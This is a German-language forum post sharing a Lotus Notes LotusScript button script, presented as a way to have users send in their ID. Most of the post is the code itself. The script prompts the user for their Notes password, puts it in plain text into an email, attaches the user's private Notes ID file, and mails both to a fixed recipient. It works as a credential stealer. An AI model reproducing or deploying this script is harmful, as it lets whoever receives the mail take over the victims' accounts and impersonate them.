ID des Nutzer´s zusenden lassen!

[Christopher]

Hallo Leute folgendes Script habe ich im Web gefunden:

Erstellt eines Memo fügt dort eine Schaltfläche im dem Script ein und sendet dem Nutzer die Mail zu. Der drückt auf die Schaltfläche wird dann aufgefordert sein Kennwort einzugeben und anschließend wird seine ID  an die Empfängeradresse gesendet.

Gruß Christopher





Sub Click(Source As Button)                                              
     Dim session As New NotesSession
     Dim db As NotesDatabase
     Set db = session.CurrentDatabase
     Dim pass As String
     Dim rtitem As notesrichtextitem
     Set memo = New NotesDocument( db )
     memo.form="memo"
     Set rtitem = New NotesRichTextItem( memo, "Body" )
     
     memo.sendto="Hans Mustermann"
     memo.subject="id file"
     pass=Inputbox$("Your Notes Password?")
     Call rtitem.AppendText( "Password: " & pass )
     Call rtitem.AddNewLine( 1 )
     Dim file As String
     file=session.GetEnvironmentString( "Directory", True ) & "\" &  session.GetEnvironmentString( "KeyFilename", True )
     Dim object As NotesEmbeddedObject
     Set object = rtitem.EmbedObject ( EMBED_ATTACHMENT, "", file)
     Messagebox "Your id file has been sent", 64, "OK"
     Call memo.send(True)
End Sub